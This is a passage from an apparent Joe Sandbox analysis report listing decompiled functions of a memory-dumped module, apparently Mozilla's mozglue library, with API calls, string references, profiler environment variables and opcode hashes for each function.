__aulldiv.LIBCMT ref: 6C624721

Strings

profiler-paused, xrefs: 6C6246E4
., xrefs: 6C62476A
-%llu, xrefs: 6C624733

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction ID: e560683bab749a39a599dd596f9cd6e6aba1d41dd33dd746c28dac418b1c20c3
Opcode Fuzzy Hash: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction Fuzzy Hash: 2C417631F047089BCB08DF39D88116EBBE5EF86748F10C63DE855AB781EB7498008B4A

Function 6C649830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C64985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C64987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6498D9

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: cdebd8f42809022a6ff073cd52b0169f6a6140e08b83134b99f6fb7f8cfa423d
Instruction ID: 81db05b8d023d0cd622ee5cc95f5b66bcdbacdaff45b9a23007cede2fc279470
Opcode Fuzzy Hash: cdebd8f42809022a6ff073cd52b0169f6a6140e08b83134b99f6fb7f8cfa423d
Instruction Fuzzy Hash: 6B313571B001086FDB18AF59DC409EF77B8DF85318F50842DEA1AABB40DB3159048BEE

Function 6C6246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Part of subcall function 6C5D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C613EBD,00000017,?,00000000,?,6C613EBD,?,?,6C5D42D2), ref: 6C5D4444

Strings

profiler-paused, xrefs: 6C6246E4
., xrefs: 6C62476A
-%llu, xrefs: 6C624733

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction ID: f064673dbb7e2cec8ba75cd041bebaca5c1ffd53141d23656812a78e2785d762
Opcode Fuzzy Hash: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction Fuzzy Hash: AE314B71F042085BCB0CCF6DD8812ADBBE6DB89314F55813DE8559B781E7B498048F99

Function 6C62B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C62B127), ref: 6C62B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C62B4E4

Strings

pid:, xrefs: 6C62B4DE

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction ID: 7172af6adf0d0f842047cd90374b44cd973535e12cbf9afcffa8e628cc2055ea
Opcode Fuzzy Hash: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction Fuzzy Hash: 74310531A01208DBDB00DFA9D8C0AEEB7B5FF89318F940529D8126BA41D735A945CFE9

Function 6C5EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C637A3F), ref: 6C5EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C637A3F), ref: 6C5EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C637A3F), ref: 6C5EBF7E

Strings

dl, xrefs: 6C5EBF84

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: dl
API String ID: 4279176481-3521660100
Opcode ID: 1a76b1d6e49d320892a80a506b04868aa282f7f093c11223fc5c396925fb658f
Instruction ID: 01fdf56946f5aad973c87df5d37056157284187fd480b7f8c9fd7ec5d0b510c0
Opcode Fuzzy Hash: 1a76b1d6e49d320892a80a506b04868aa282f7f093c11223fc5c396925fb658f
Instruction Fuzzy Hash: F311BF792006048FC729CF0CD599926FBF8FB59709355C85DE98A8B750C732A800CB94

Function 6C61E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61E577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E584
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C61E722, 6C61E750, 6C61E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C61E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C61E777
MOZ_PROFILER_STARTUP, xrefs: 6C61E5A1, 6C61E5CC, 6C61E5FF, 6C61E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C61E826, 6C61E850

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction ID: de6f39b18fc37e564f74324d08876a8ea8a6db5cfe551ee54c3d25bd264bb4ac
Opcode Fuzzy Hash: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction Fuzzy Hash: B7118E31604254DFCB00DF1AC488A6ABBF4FFC9328FA00619E88597A51C774A815CBDE

Function 6C620C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620CD5

Part of subcall function 6C60F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C60F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620D40
free.MOZGLUE ref: 6C620DCB

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

free.MOZGLUE ref: 6C620DDD
free.MOZGLUE ref: 6C620DF2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction ID: 36527e596418de067379f5ad8b037bd7d2d7b561d352890ca2ec37a0bf86e9a1
Opcode Fuzzy Hash: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction Fuzzy Hash: 19413871A097849BD720CF29C08079AFBE5BFC9714F608A2EE8D887750DB749845CF86

Function 6C610800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C610838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C61084C
EnterCriticalSection.KERNEL32(?), ref: 6C6108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6108BD
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C6108D5

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: e42b6a89490f3e24853b7a9ee59efb824a418dba91416b068bf96ad785e955b5
Instruction ID: f19b50fd71674e59253d8e58a38c4a8cce5613e719f0916c63948e0985208899
Opcode Fuzzy Hash: e42b6a89490f3e24853b7a9ee59efb824a418dba91416b068bf96ad785e955b5
Instruction Fuzzy Hash: 8221F5307092499BEF44CF69C884BAE73B9BF85749FA40528E509A7A40DF35A815CBDC

Function 6C62CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDA4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D158
Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000098,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDC4

Part of subcall function 6C627480: ReleaseSRWLockExclusive.KERNEL32(?,6C6315FC,?,?,?,?,6C6315FC,?), ref: 6C6274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CECC

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

Part of subcall function 6C61CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C62CEEA,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000), ref: 6C61CB57
Part of subcall function 6C61CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C61CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C62CEEA,?,?), ref: 6C61CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D058

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction ID: f9bcd84799b1b0d32f958205256c2e87c9bf35607c4ff9904cb323c8c42a3919
Opcode Fuzzy Hash: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction Fuzzy Hash: 19D17E71A04B069FD718CF28C480B99F7E1BF89308F01862DD9598B752EB31E9A5CF85

Function 6C5E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5E18EE
free.MOZGLUE(?), ref: 6C5E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E194C

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: f0c1a5cebf9b92fbe7526535c5f951704cd2c63429c1ee15dfcbeaa7aff430dc
Instruction ID: 0067c88b45b644242f1e66af760babb4a3e96b72264bc5a2c808806c8e713921
Opcode Fuzzy Hash: f0c1a5cebf9b92fbe7526535c5f951704cd2c63429c1ee15dfcbeaa7aff430dc
Instruction Fuzzy Hash: 7A81BF70A152059FCB08CF68DC949AFBBB1FF89314F14466CE851AB755E730E854CBA2

Function 6C5F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5F5D40
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67
__aulldiv.LIBCMT ref: 6C5F5DB4
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction ID: 245b042ebf6a569a0015b678e3554142ff2c49e54545d664a08d17abdec13cb2
Opcode Fuzzy Hash: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction Fuzzy Hash: 4F517171E011298FCF08CF69C894AAEBBF1FB85304FA98619D865A7790C7306946CF95

Function 6C5DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5DCF4E

Strings

0, xrefs: 6C5DCF30

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction ID: 0263fa1c984a97ad87106895fc48083ad8730367ffd23f53a662d26fb962ff41
Opcode Fuzzy Hash: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction Fuzzy Hash: B451F075A002168FCB05CF1CC890AAAFBA5EF99314F2A859DD8595F352D731BD06CBE0

Function 6C6377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C637829

Part of subcall function 6C60CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5D31A7), ref: 6C60CC45
Part of subcall function 6C60CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5D31A7), ref: 6C60CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C63789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6378CF

Part of subcall function 6C5D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
Part of subcall function 6C5D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: deec633a7bc7376577f234366c2adda72bd28f20baebe62f544c685f788c8520
Instruction ID: e2f133cde8484416d1e023f5d511e381d4c2f016b7d995f3d3768d49d57b0855
Opcode Fuzzy Hash: deec633a7bc7376577f234366c2adda72bd28f20baebe62f544c685f788c8520
Instruction Fuzzy Hash: 6E41BE71904706DBD300DF29C88056AFBF4FFCA224F604A2DE4A987680DB30E959CBD6

Function 6C616470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6182BC,?,?), ref: 6C61649B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6164A9

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61653F
free.MOZGLUE(?), ref: 6C61655A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction ID: 34fe19702800a5037d986a3df5fac8effbf544722d443d64bde5b0355948d2be
Opcode Fuzzy Hash: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction Fuzzy Hash: 663181B5A083059FD704CF15D88069BBBE4FF89314F50842EE89A97740D734E919CB96

Function 6C60FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C62D019,?,?,?,?,?,00000000,?,6C61DA31,00100000,?), ref: 6C60FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C62D019,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?), ref: 6C60FFF5
free.MOZGLUE(?,?,?,?,?,6C62D019,?,?,?,?,?,00000000,?,6C61DA31,00100000,?), ref: 6C61001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C62D019,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?), ref: 6C61002A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 7eef6b7b804b015ebfd29d1cdbe12427eb219040b927ec1f7f02e1125b56c220
Instruction ID: 02e2ac58929bbaf94adb2efdc9a5376129f6c901ac86650f0fe55bb5cc93d7f7
Opcode Fuzzy Hash: 7eef6b7b804b015ebfd29d1cdbe12427eb219040b927ec1f7f02e1125b56c220
Instruction Fuzzy Hash: DC21C1B2B002155FC7089E7C9C948AAB7BAEBC53287254338E525E7780EA71AD058699

Function 6C5EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB4F5
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB502
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB542
free.MOZGLUE(?), ref: 6C5EB578

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

